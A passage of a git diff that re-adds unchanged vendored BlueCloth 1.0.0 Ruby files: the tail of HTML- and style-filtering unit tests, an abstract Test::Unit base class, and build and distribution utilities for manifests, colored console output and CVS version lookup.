+
+ # Test as a 1st-level param
+ assert_nothing_raised {
+ bc = BlueCloth::new( DangerousHtml, :filter_styles )
+ }
+ assert_instance_of BlueCloth, bc
+
+ # Accessors
+ assert_nothing_raised { rval = bc.filter_styles }
+ assert_equal true, rval
+ assert_nothing_raised { rval = bc.filter_html }
+ assert_equal nil, rval
+
+ # Test rendering with filters on
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal DangerousStylesOutput, rval
+
+ # Test setting it in a subarray
+ assert_nothing_raised {
+ bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
+ }
+ assert_instance_of BlueCloth, bc
+
+ # Accessors
+ assert_nothing_raised { rval = bc.filter_styles }
+ assert_equal true, rval
+ assert_nothing_raised { rval = bc.filter_html }
+ assert_equal nil, rval
+
+ # Test rendering with filters on
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal DangerousStylesOutput, rval
+
+ end
+
+
+ ### Test to be sure filtering when there's no opening angle brackets doesn't
+ ### die.
+ def test_30_filter_no_less_than
+ printTestHeader "filter without a less-than"
+ rval = bc = nil
+
+ # Test as a 1st-level param
+ assert_nothing_raised {
+ bc = BlueCloth::new( NoLessThanHtml, :filter_html )
+ }
+ assert_instance_of BlueCloth, bc
+
+ assert_nothing_raised { rval = bc.to_html }
+ assert_equal NoLessThanOutput, rval
+ end
+
+
+
+end
+
diff --git a/vendor/bluecloth-1.0.0/tests/bctestcase.rb b/vendor/bluecloth-1.0.0/tests/bctestcase.rb
index 15a920f4..25fad2c5 100755
--- a/vendor/bluecloth-1.0.0/tests/bctestcase.rb
+++ b/vendor/bluecloth-1.0.0/tests/bctestcase.rb
@@ -1,274 +1,274 @@
-#!/usr/bin/ruby
-#
-# This is an abstract test case class for building Test::Unit unit tests for the
-# BlueCloth module. It consolidates most of the maintenance work that must be
-# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
-# as adding some other useful methods that make building, maintaining, and using
-# the tests for programming much easier (IMHO). See the docs for Test::Unit for
-# more info on the particulars of unit testing.
-#
-# == Synopsis
-#
-# # Allow the test to be run from anywhere:
-# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
-# basedir = File::dirname( __FILE__ )
-# require File::join( basedir, 'bctestcase' )
-# end
-#
-# class MySomethingTest < BlueCloth::TestCase
-# def setup
-# super()
-# @foo = 'bar'
-# end
-#
-# def test_00_something
-# obj = nil
-# assert_nothing_raised { obj = MySomething::new }
-# assert_instance_of MySomething, obj
-# assert_respond_to :myMethod, obj
-# end
-#
-# end
-#
-# == Rcsid
-#
-# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
-#
-# == Authors
-#
-# * Michael Granger
-#
-#:include: COPYRIGHT
-#
-#---
-#
-# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
-#
-
-$DebugPattern ||= nil
-
-begin
- basedir = File::dirname( File::dirname(__FILE__) )
- unless $LOAD_PATH.include?( "#{basedir}/lib" )
- $LOAD_PATH.unshift "#{basedir}/lib"
- end
-end
-
-require "test/unit"
-require "bluecloth"
-
-
-class BlueCloth
-
- ### The abstract base class for BlueCloth test cases.
- class TestCase < Test::Unit::TestCase
-
- @methodCounter = 0
- @setupBlocks = []
- @teardownBlocks = []
- class << self
- attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
- end
-
-
- ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
- ### and accessors to the inheriting class.
- def self::inherited( klass )
- klass.module_eval {
- @setupBlocks = []
- @teardownBlocks = []
-
- class << self
- attr_accessor :setupBlocks, :teardownBlocks
- end
- }
- klass.methodCounter = 0
- end
-
-
-
- ### Output the specified msgs joined together to
- ### STDERR if $DEBUG is set.
- def self::debugMsg( *msgs )
- return unless $DEBUG
- self.message "DEBUG>>> %s" % msgs.join('')
- end
-
- ### Output the specified msgs joined together to
- ### STDOUT.
- def self::message( *msgs )
- $stderr.puts msgs.join('')
- $stderr.flush
- end
-
-
- ### Add a setup block for the current testcase
- def self::addSetupBlock( &block )
- self.methodCounter += 1
- newMethodName = "setup_#{self.methodCounter}".intern
- define_method( newMethodName, &block )
- self.setupBlocks.push newMethodName
- end
-
- ### Add a teardown block for the current testcase
- def self::addTeardownBlock( &block )
- self.methodCounter += 1
- newMethodName = "teardown_#{self.methodCounter}".intern
- define_method( newMethodName, &block )
- self.teardownBlocks.unshift newMethodName
- end
-
-
- #############################################################
- ### I N S T A N C E M E T H O D S
- #############################################################
-
- ### A dummy test method to allow this Test::Unit::TestCase to be
- ### subclassed without complaining about the lack of tests.
- def test_0_dummy
- end
-
-
- ### Forward-compatibility method for namechange in Test::Unit
- def setup( *args )
- self.class.setupBlocks.each {|sblock|
- debugMsg "Calling setup block method #{sblock}"
- self.send( sblock )
- }
- super( *args )
- end
- alias_method :set_up, :setup
-
-
- ### Forward-compatibility method for namechange in Test::Unit
- def teardown( *args )
- super( *args )
- self.class.teardownBlocks.each {|tblock|
- debugMsg "Calling teardown block method #{tblock}"
- self.send( tblock )
- }
- end
- alias_method :tear_down, :teardown
-
-
- ### Skip the current step (called from #setup) with the +reason+ given.
- def skip( reason=nil )
- if reason
- msg = "Skipping %s: %s" % [ @method_name, reason ]
- else
- msg = "Skipping %s: No reason given." % @method_name
- end
-
- $stderr.puts( msg ) if $VERBOSE
- @method_name = :skipped_test
- end
-
-
- def skipped_test # :nodoc:
- end
-
-
- ### Add the specified +block+ to the code that gets executed by #setup.
- def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
-
-
- ### Add the specified +block+ to the code that gets executed by #teardown.
- def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
-
-
- ### Instance alias for the like-named class method.
- def message( *msgs )
- self.class.message( *msgs )
- end
-
-
- ### Instance alias for the like-named class method
- def debugMsg( *msgs )
- self.class.debugMsg( *msgs )
- end
-
-
- ### Output a separator line made up of length of the specified
- ### char.
- def writeLine( length=75, char="-" )
- $stderr.puts "\r" + (char * length )
- end
-
-
- ### Output a header for delimiting tests
- def printTestHeader( desc )
- return unless $VERBOSE || $DEBUG
- message ">>> %s <<<" % desc
- end
-
-
- ### Try to force garbage collection to start.
- def collectGarbage
- a = []
- 1000.times { a << {} }
- a = nil
- GC.start
- end
-
-
- ### Output the name of the test as it's running if in verbose mode.
- def run( result )
- $stderr.puts self.name if $VERBOSE || $DEBUG
-
- # Support debugging for individual tests
- olddb = nil
- if $DebugPattern && $DebugPattern =~ @method_name
- olddb = $DEBUG
- $DEBUG = true
- end
-
- super
-
- $DEBUG = olddb unless olddb.nil?
- end
-
-
- #############################################################
- ### E X T R A A S S E R T I O N S
- #############################################################
-
- ### Negative of assert_respond_to
- def assert_not_respond_to( obj, meth )
- msg = "%s expected NOT to respond to '%s'" %
- [ obj.inspect, meth ]
- assert_block( msg ) {
- !obj.respond_to?( meth )
- }
- end
-
-
- ### Assert that the instance variable specified by +sym+ of an +object+
- ### is equal to the specified +value+. The '@' at the beginning of the
- ### +sym+ will be prepended if not present.
- def assert_ivar_equal( value, object, sym )
- sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
- msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
- [ sym, object.inspect, value.inspect ]
- msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
- assert_block( msg ) {
- value == object.instance_variable_get(sym)
- }
- end
-
-
- ### Assert that the specified +object+ has an instance variable which
- ### matches the specified +sym+. The '@' at the beginning of the +sym+
- ### will be prepended if not present.
- def assert_has_ivar( sym, object )
- sym = "@#{sym}" unless /^@/ =~ sym.to_s
- msg = "Object <%s> expected to have an instance variable <%s>" %
- [ object.inspect, sym ]
- assert_block( msg ) {
- object.instance_variables.include?( sym.to_s )
- }
- end
-
- end # class TestCase
-
-end # class BlueCloth
-
+#!/usr/bin/ruby
+#
+# This is an abstract test case class for building Test::Unit unit tests for the
+# BlueCloth module. It consolidates most of the maintenance work that must be
+# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
+# as adding some other useful methods that make building, maintaining, and using
+# the tests for programming much easier (IMHO). See the docs for Test::Unit for
+# more info on the particulars of unit testing.
+#
+# == Synopsis
+#
+# # Allow the test to be run from anywhere:
+# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+# basedir = File::dirname( __FILE__ )
+# require File::join( basedir, 'bctestcase' )
+# end
+#
+# class MySomethingTest < BlueCloth::TestCase
+# def setup
+# super()
+# @foo = 'bar'
+# end
+#
+# def test_00_something
+# obj = nil
+# assert_nothing_raised { obj = MySomething::new }
+# assert_instance_of MySomething, obj
+# assert_respond_to :myMethod, obj
+# end
+#
+# end
+#
+# == Rcsid
+#
+# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+#
+# == Authors
+#
+# * Michael Granger
+#
+#:include: COPYRIGHT
+#
+#---
+#
+# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
+#
+
+$DebugPattern ||= nil
+
+begin
+ basedir = File::dirname( File::dirname(__FILE__) )
+ unless $LOAD_PATH.include?( "#{basedir}/lib" )
+ $LOAD_PATH.unshift "#{basedir}/lib"
+ end
+end
+
+require "test/unit"
+require "bluecloth"
+
+
+class BlueCloth
+
+ ### The abstract base class for BlueCloth test cases.
+ class TestCase < Test::Unit::TestCase
+
+ @methodCounter = 0
+ @setupBlocks = []
+ @teardownBlocks = []
+ class << self
+ attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
+ end
+
+
+ ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
+ ### and accessors to the inheriting class.
+ def self::inherited( klass )
+ klass.module_eval {
+ @setupBlocks = []
+ @teardownBlocks = []
+
+ class << self
+ attr_accessor :setupBlocks, :teardownBlocks
+ end
+ }
+ klass.methodCounter = 0
+ end
+
+
+
+ ### Output the specified msgs joined together to
+ ### STDERR if $DEBUG is set.
+ def self::debugMsg( *msgs )
+ return unless $DEBUG
+ self.message "DEBUG>>> %s" % msgs.join('')
+ end
+
+ ### Output the specified msgs joined together to
+ ### STDOUT.
+ def self::message( *msgs )
+ $stderr.puts msgs.join('')
+ $stderr.flush
+ end
+
+
+ ### Add a setup block for the current testcase
+ def self::addSetupBlock( &block )
+ self.methodCounter += 1
+ newMethodName = "setup_#{self.methodCounter}".intern
+ define_method( newMethodName, &block )
+ self.setupBlocks.push newMethodName
+ end
+
+ ### Add a teardown block for the current testcase
+ def self::addTeardownBlock( &block )
+ self.methodCounter += 1
+ newMethodName = "teardown_#{self.methodCounter}".intern
+ define_method( newMethodName, &block )
+ self.teardownBlocks.unshift newMethodName
+ end
+
+
+ #############################################################
+ ### I N S T A N C E M E T H O D S
+ #############################################################
+
+ ### A dummy test method to allow this Test::Unit::TestCase to be
+ ### subclassed without complaining about the lack of tests.
+ def test_0_dummy
+ end
+
+
+ ### Forward-compatibility method for namechange in Test::Unit
+ def setup( *args )
+ self.class.setupBlocks.each {|sblock|
+ debugMsg "Calling setup block method #{sblock}"
+ self.send( sblock )
+ }
+ super( *args )
+ end
+ alias_method :set_up, :setup
+
+
+ ### Forward-compatibility method for namechange in Test::Unit
+ def teardown( *args )
+ super( *args )
+ self.class.teardownBlocks.each {|tblock|
+ debugMsg "Calling teardown block method #{tblock}"
+ self.send( tblock )
+ }
+ end
+ alias_method :tear_down, :teardown
+
+
+ ### Skip the current step (called from #setup) with the +reason+ given.
+ def skip( reason=nil )
+ if reason
+ msg = "Skipping %s: %s" % [ @method_name, reason ]
+ else
+ msg = "Skipping %s: No reason given." % @method_name
+ end
+
+ $stderr.puts( msg ) if $VERBOSE
+ @method_name = :skipped_test
+ end
+
+
+ def skipped_test # :nodoc:
+ end
+
+
+ ### Add the specified +block+ to the code that gets executed by #setup.
+ def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
+
+
+ ### Add the specified +block+ to the code that gets executed by #teardown.
+ def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
+
+
+ ### Instance alias for the like-named class method.
+ def message( *msgs )
+ self.class.message( *msgs )
+ end
+
+
+ ### Instance alias for the like-named class method
+ def debugMsg( *msgs )
+ self.class.debugMsg( *msgs )
+ end
+
+
+ ### Output a separator line made up of length of the specified
+ ### char.
+ def writeLine( length=75, char="-" )
+ $stderr.puts "\r" + (char * length )
+ end
+
+
+ ### Output a header for delimiting tests
+ def printTestHeader( desc )
+ return unless $VERBOSE || $DEBUG
+ message ">>> %s <<<" % desc
+ end
+
+
+ ### Try to force garbage collection to start.
+ def collectGarbage
+ a = []
+ 1000.times { a << {} }
+ a = nil
+ GC.start
+ end
+
+
+ ### Output the name of the test as it's running if in verbose mode.
+ def run( result )
+ $stderr.puts self.name if $VERBOSE || $DEBUG
+
+ # Support debugging for individual tests
+ olddb = nil
+ if $DebugPattern && $DebugPattern =~ @method_name
+ olddb = $DEBUG
+ $DEBUG = true
+ end
+
+ super
+
+ $DEBUG = olddb unless olddb.nil?
+ end
+
+
+ #############################################################
+ ### E X T R A A S S E R T I O N S
+ #############################################################
+
+ ### Negative of assert_respond_to
+ def assert_not_respond_to( obj, meth )
+ msg = "%s expected NOT to respond to '%s'" %
+ [ obj.inspect, meth ]
+ assert_block( msg ) {
+ !obj.respond_to?( meth )
+ }
+ end
+
+
+ ### Assert that the instance variable specified by +sym+ of an +object+
+ ### is equal to the specified +value+. The '@' at the beginning of the
+ ### +sym+ will be prepended if not present.
+ def assert_ivar_equal( value, object, sym )
+ sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
+ msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
+ [ sym, object.inspect, value.inspect ]
+ msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
+ assert_block( msg ) {
+ value == object.instance_variable_get(sym)
+ }
+ end
+
+
+ ### Assert that the specified +object+ has an instance variable which
+ ### matches the specified +sym+. The '@' at the beginning of the +sym+
+ ### will be prepended if not present.
+ def assert_has_ivar( sym, object )
+ sym = "@#{sym}" unless /^@/ =~ sym.to_s
+ msg = "Object <%s> expected to have an instance variable <%s>" %
+ [ object.inspect, sym ]
+ assert_block( msg ) {
+ object.instance_variables.include?( sym.to_s )
+ }
+ end
+
+ end # class TestCase
+
+end # class BlueCloth
+
diff --git a/vendor/bluecloth-1.0.0/utils.rb b/vendor/bluecloth-1.0.0/utils.rb
index c7b4f917..f543b63a 100755
--- a/vendor/bluecloth-1.0.0/utils.rb
+++ b/vendor/bluecloth-1.0.0/utils.rb
@@ -1,553 +1,553 @@
-#
-# Install/distribution utility functions
-# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
-#
-# Copyright (c) 2001-2004, The FaerieMUD Consortium.
-#
-# This is free software. You may use, modify, and/or redistribute this
-# software under the terms of the Perl Artistic License. (See
-# http://language.perl.com/misc/Artistic.html)
-#
-
-
-BEGIN {
- require 'find'
-
- begin
- require 'readline'
- include Readline
- rescue LoadError => e
- $stderr.puts "Faking readline..."
- def readline( prompt )
- $stderr.print prompt.chomp
- return $stdin.gets.chomp
- end
- end
-}
-
-class File
- Win32Exts = %w{.exe .com .bat}
-
- def self::which( prog, path=ENV['PATH'] )
- path.split(File::PATH_SEPARATOR).each {|dir|
- # If running under Windows, look for prog + extensions
- if File::ALT_SEPARATOR
- ext = Win32Exts.find_all {|ext|
- f = File::join(dir, prog+ext)
- File::executable?(f) && !File::directory?(f)
- }
- ext.each {|f|
- f = File::join( dir, prog + f ).gsub(%r:/:,'\\')
- if block_given? then yield( f ) else return f end
- }
- else
- f = File::join( dir, prog )
- if File::executable?( f ) && ! File::directory?( f )
- if block_given? then yield(f) else return f end
- end
- end
- }
- end
-
-end
-
-
-module UtilityFunctions
-
- # The list of regexen that eliminate files from the MANIFEST
- ANTIMANIFEST = [
- /makedist\.rb/,
- /\bCVS\b/,
- /~$/,
- /^#/,
- %r{docs/html},
- %r{docs/man},
- /\bTEMPLATE\.\w+\.tpl\b/,
- /\.cvsignore/,
- /\.s?o$/,
- ]
- AMRegexp = Regexp::union( *ANTIMANIFEST )
-
- # Set some ANSI escape code constants (Shamelessly stolen from Perl's
- # Term::ANSIColor by Russ Allbery and Zenin
- AnsiAttributes = {
- 'clear' => 0,
- 'reset' => 0,
- 'bold' => 1,
- 'dark' => 2,
- 'underline' => 4,
- 'underscore' => 4,
- 'blink' => 5,
- 'reverse' => 7,
- 'concealed' => 8,
-
- 'black' => 30, 'on_black' => 40,
- 'red' => 31, 'on_red' => 41,
- 'green' => 32, 'on_green' => 42,
- 'yellow' => 33, 'on_yellow' => 43,
- 'blue' => 34, 'on_blue' => 44,
- 'magenta' => 35, 'on_magenta' => 45,
- 'cyan' => 36, 'on_cyan' => 46,
- 'white' => 37, 'on_white' => 47
- }
-
- ErasePreviousLine = "\033[A\033[K"
-
-
- ###############
- module_function
- ###############
-
- # Create a string that contains the ANSI codes specified and return it
- def ansiCode( *attributes )
- return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM']
- attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')
- if attr.empty?
- return ''
- else
- return "\e[%sm" % attr
- end
- end
-
-
- # Test for the presence of the specified library, and output a
- # message describing the test using nicename. If nicename
- # is nil, the value in library is used to build a default.
- def testForLibrary( library, nicename=nil )
- nicename ||= library
- message( "Testing for the #{nicename} library..." )
- found = false
-
- begin
- require library
- rescue LoadError => err
- message "no found (%s)\n" % err.message
- else
- message "found\n"
- found = true
- end
-
- return found
- end
-
-
- # Test for the presence of the specified library, and output a
- # message describing the problem using nicename. If
- # nicename is nil, the value in library is used
- # to build a default. If raaUrl and/or downloadUrl are
- # specified, they are also use to build a message describing how to find the
- # required library. If fatal is true, a missing library
- # will cause the program to abort.
- def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true )
- nicename ||= library
- unless testForLibrary( library, nicename )
- msgs = [ "You are missing the required #{nicename} library.\n" ]
- msgs << "RAA: #{raaUrl}\n" if raaUrl
- msgs << "Download: #{downloadUrl}\n" if downloadUrl
- if fatal
- abort msgs.join('')
- else
- errorMessage msgs.join('')
- end
- end
- return true
- end
-
- ### Output msg as a ANSI-colored program/section header (white on
- ### blue).
- def header( msg )
- msg.chomp!
- $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )
- $stderr.flush
- end
-
- ### Output msg to STDERR and flush it.
- def message( msg )
- $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )
- $stderr.flush
- end
-
- ### Output the specified msg as an ANSI-colored error message
- ### (white on red).
- def errorMessage( msg )
- message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )
- end
-
- ### Output the specified msg as an ANSI-colored debugging message
- ### (yellow on blue).
- def debugMsg( msg )
- return unless $DEBUG
- msg.chomp!
- $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' )
- $stderr.flush
- end
-
- ### Erase the previous line (if supported by your terminal) and output the
- ### specified msg instead.
- def replaceMessage( msg )
- print ErasePreviousLine
- message( msg )
- end
-
- ### Output a divider made up of length hyphen characters.
- def divider( length=75 )
- puts "\r" + ("-" * length )
- end
- alias :writeLine :divider
-
- ### Output the specified msg colored in ANSI red and exit with a
- ### status of 1.
- def abort( msg )
- print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n"
- Kernel.exit!( 1 )
- end
-
- ### Output the specified promptString as a prompt (in green) and
- ### return the user's input with leading and trailing spaces removed.
- def prompt( promptString )
- promptString.chomp!
- return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip
- end
-
- ### Prompt the user with the given promptString via #prompt,
- ### substituting the given default if the user doesn't input
- ### anything.
- def promptWithDefault( promptString, default )
- response = prompt( "%s [%s]" % [ promptString, default ] )
- if response.empty?
- return default
- else
- return response
- end
- end
-
- ### Search for the program specified by the given progname in the
- ### user's PATH, and return the full path to it, or nil if
- ### no such program is in the path.
- def findProgram( progname )
- ENV['PATH'].split(File::PATH_SEPARATOR).each {|d|
- file = File.join( d, progname )
- return file if File.executable?( file )
- }
- return nil
- end
-
- ### Using the CVS log for the given file attempt to guess what the
- ### next release version might be. This only works if releases are tagged
- ### with tags like 'RELEASE_x_y'.
- def extractNextVersionFromTags( file )
- message "Attempting to extract next release version from CVS tags for #{file}...\n"
- raise RuntimeError, "No such file '#{file}'" unless File.exists?( file )
- cvsPath = findProgram( 'cvs' ) or
- raise RuntimeError, "Cannot find the 'cvs' program. Aborting."
-
- output = %x{#{cvsPath} log #{file}}
- release = [ 0, 0 ]
- output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match|
- if $1.to_i > release[0] || $2.to_i > release[1]
- release = [ $1.to_i, $2.to_i ]
- replaceMessage( "Found %d.%02d...\n" % release )
- end
- }
-
- if release[1] >= 99
- release[0] += 1
- release[1] = 1
- else
- release[1] += 1
- end
-
- return "%d.%02d" % release
- end
-
-
- ### Write a new manifest file with the given +named+, moving any current one
- ### aside with an ".old" suffix if +backup+ is true.
- def makeManifest( name="MANIFEST", backup=true )
- message "Making manifest file '#{name}'"
-
- # Move an old one aside if a backup is desired
- if backup and File::exists?( name )
- File::rename( name, name + ".old" )
- end
-
- File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh|
- Find::find( "." ) do |file|
- Find.prune if AMRegexp =~ file
- Find.prune if %r{/\.} =~ file
- Find.prune if /TEMPLATE/ =~ file
- next if File::directory?( file )
-
- ofh.puts file
- end
- }
- end
-
-
- ### Read the specified manifestFile, which is a text file
- ### describing which files to package up for a distribution. The manifest
- ### should consist of one or more lines, each containing one filename or
- ### shell glob pattern.
- def readManifest( manifestFile="MANIFEST" )
- message "Reading manifest..."
- raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile
-
- manifest = IO::readlines( manifestFile ).collect {|line|
- line.chomp
- }.select {|line|
- line !~ /^(\s*(#.*)?)?$/
- }
-
- filelist = []
- for pat in manifest
- $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE
- filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)}
- end
-
- message "found #{filelist.length} files.\n"
- return filelist
- end
-
-
- ### Given a filelist like that returned by #readManifest, remove
- ### the entries therein which match the Regexp objects in the given
- ### antimanifest and return the resultant Array.
- def vetManifest( filelist, antimanifest=ANITMANIFEST )
- origLength = filelist.length
- message "Vetting manifest..."
-
- for regex in antimanifest
- if $VERBOSE
- message "\n\tPattern /#{regex.source}/ removed: " +
- filelist.find_all {|file| regex.match(file)}.join(', ')
- end
- filelist.delete_if {|file| regex.match(file)}
- end
-
- message "removed #{origLength - filelist.length} files from the list.\n"
- return filelist
- end
-
- ### Combine a call to #readManifest with one to #vetManifest.
- def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST )
- vetManifest( readManifest(manifestFile), antimanifest )
- end
-
- ### Given a documentation catalogFile, extract the title, if
- ### available, and return it. Otherwise generate a title from the name of
- ### the CVS module.
- def findRdocTitle( catalogFile="docs/CATALOG" )
-
- # Try extracting it from the CATALOG file from a line that looks like:
- # Title: Foo Bar Module
- title = findCatalogKeyword( 'title', catalogFile )
-
- # If that doesn't work for some reason, try grabbing the name of the CVS
- # repository the directory belongs to.
- if title.nil? && File::directory?( "CVS" ) &&
- File::exists?( "CVS/Repository" )
- title = File::read( "CVS/Repository" ).chomp
- end
-
- # As a last resort, use the name of the project directory
- if title.nil?
- distdir = File::dirname( __FILE__ )
- distdir = File::dirname( distdir ) if /docs$/ =~ distdir
- title = File::basename( distdir )
- end
-
- return title
- end
-
- ### Given a documentation catalogFile, extract the name of the file
- ### to use as the initally displayed page. If extraction fails, the
- ### +default+ will be used if it exists. Returns +nil+ if there is no main
- ### file to be found.
- def findRdocMain( catalogFile="docs/CATALOG", default="README" )
-
- # Try extracting it from the CATALOG file from a line that looks like:
- # Main: Foo Bar Module
- main = findCatalogKeyword( 'main', catalogFile )
-
- # Try to make some educated guesses if that doesn't work
- if main.nil?
- basedir = File::dirname( __FILE__ )
- basedir = File::dirname( basedir ) if /docs$/ =~ basedir
-
- if File::exists?( File::join(basedir, default) )
- main = default
- end
- end
-
- return main
- end
-
-
- ### Given a documentation catalogFile, extract an upload URL for
- ### RDoc.
- def findRdocUpload( catalogFile="docs/CATALOG" )
- findCatalogKeyword( 'upload', catalogFile )
- end
-
-
- ### Given a documentation catalogFile, extract a CVS web frontend
- ### URL for RDoc.
- def findRdocCvsURL( catalogFile="docs/CATALOG" )
- findCatalogKeyword( 'webcvs', catalogFile )
- end
-
-
- ### Given a documentation catalogFile, try extracting the given
- ### +keyword+'s value from it. Keywords are lines that look like:
- ### # :
- ### Returns +nil+ if the catalog file was unreadable or didn't contain the
- ### specified +keyword+.
- def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" )
- val = nil
-
- if File::exists? catalogFile
- message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile
- File::foreach( catalogFile ) {|line|
- debugMsg( "Examining line #{line.inspect}..." )
- val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line
- }
- end
-
- return val
- end
-
-
- ### Given a documentation catalogFile, which is in the same format
- ### as that described by #readManifest, read and expand it, and then return
- ### a list of those files which appear to have RDoc documentation in
- ### them. If catalogFile is nil or does not exist, the MANIFEST
- ### file is used instead.
- def findRdocableFiles( catalogFile="docs/CATALOG" )
- startlist = []
- if File.exists? catalogFile
- message "Using CATALOG file (%s).\n" % catalogFile
- startlist = getVettedManifest( catalogFile )
- else
- message "Using default MANIFEST\n"
- startlist = getVettedManifest()
- end
-
- message "Looking for RDoc comments in:\n" if $VERBOSE
- startlist.select {|fn|
- message " #{fn}: " if $VERBOSE
- found = false
- File::open( fn, "r" ) {|fh|
- fh.each {|line|
- if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*}
- found = true
- break
- end
- }
- }
-
- message( (found ? "yes" : "no") + "\n" ) if $VERBOSE
- found
- }
- end
-
- ### Open a file and filter each of its lines through the given block a
- ### line at a time. The return value of the block is used as the
- ### new line, or omitted if the block returns nil or
- ### false.
- def editInPlace( file ) # :yields: line
- raise "No block specified for editing operation" unless block_given?
-
- tempName = "#{file}.#{$$}"
- File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile|
- File::unlink( tempName )
- File::open( file, File::RDONLY ) {|fh|
- fh.each {|line|
- newline = yield( line ) or next
- tempfile.print( newline )
- }
- }
-
- tempfile.seek(0)
-
- File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile|
- newfile.print( tempfile.read )
- }
- }
- end
-
- ### Execute the specified shell command, read the results, and
- ### return them. Like a %x{} that returns an Array instead of a String.
- def shellCommand( *command )
- raise "Empty command" if command.empty?
-
- cmdpipe = IO::popen( command.join(' '), 'r' )
- return cmdpipe.readlines
- end
-
- ### Execute a block with $VERBOSE set to +false+, restoring it to its
- ### previous value before returning.
- def verboseOff
- raise LocalJumpError, "No block given" unless block_given?
-
- thrcrit = Thread.critical
- oldverbose = $VERBOSE
- begin
- Thread.critical = true
- $VERBOSE = false
- yield
- ensure
- $VERBOSE = oldverbose
- Thread.critical = false
- end
- end
-
-
- ### Try the specified code block, printing the given
- def try( msg, bind=nil )
- result = nil
- if msg =~ /^to\s/
- message = "Trying #{msg}..."
- else
- message = msg
- end
-
- begin
- rval = nil
- if block_given?
- rval = yield
- else
- file, line = caller(1)[0].split(/:/,2)
- rval = eval( msg, bind, file, line.to_i )
- end
-
- result = rval.inspect
- rescue Exception => err
- if err.backtrace
- nicetrace = err.backtrace.delete_if {|frame|
- /in `(try|eval)'/ =~ frame
- }.join("\n\t")
- else
- nicetrace = "Exception had no backtrace"
- end
-
- result = err.message + "\n\t" + nicetrace
- ensure
- puts result
- end
- end
-
- def time
- start = Time::now
- stimes = Process::times
- rval = yield
- etimes = Process::times
- $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [
- etimes.utime - stimes.utime,
- etimes.stime - stimes.stime,
- Time::now.to_f - start.to_f,
- ]
-
- return rval
- end
-
-end
+#
+# Install/distribution utility functions
+# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
+#
+# Copyright (c) 2001-2004, The FaerieMUD Consortium.
+#
+# This is free software. You may use, modify, and/or redistribute this
+# software under the terms of the Perl Artistic License. (See
+# http://language.perl.com/misc/Artistic.html)
+#
+
+
+BEGIN {
+ require 'find'
+
+ begin
+ require 'readline'
+ include Readline
+ rescue LoadError => e
+ $stderr.puts "Faking readline..."
+ def readline( prompt )
+ $stderr.print prompt.chomp
+ return $stdin.gets.chomp
+ end
+ end
+}
+
+class File
+ Win32Exts = %w{.exe .com .bat}
+
+ def self::which( prog, path=ENV['PATH'] )
+ path.split(File::PATH_SEPARATOR).each {|dir|
+ # If running under Windows, look for prog + extensions
+ if File::ALT_SEPARATOR
+ ext = Win32Exts.find_all {|ext|
+ f = File::join(dir, prog+ext)
+ File::executable?(f) && !File::directory?(f)
+ }
+ ext.each {|f|
+ f = File::join( dir, prog + f ).gsub(%r:/:,'\\')
+ if block_given? then yield( f ) else return f end
+ }
+ else
+ f = File::join( dir, prog )
+ if File::executable?( f ) && ! File::directory?( f )
+ if block_given? then yield(f) else return f end
+ end
+ end
+ }
+ end
+
+end
+
+
+module UtilityFunctions
+
+ # The list of regexen that eliminate files from the MANIFEST
+ ANTIMANIFEST = [
+ /makedist\.rb/,
+ /\bCVS\b/,
+ /~$/,
+ /^#/,
+ %r{docs/html},
+ %r{docs/man},
+ /\bTEMPLATE\.\w+\.tpl\b/,
+ /\.cvsignore/,
+ /\.s?o$/,
+ ]
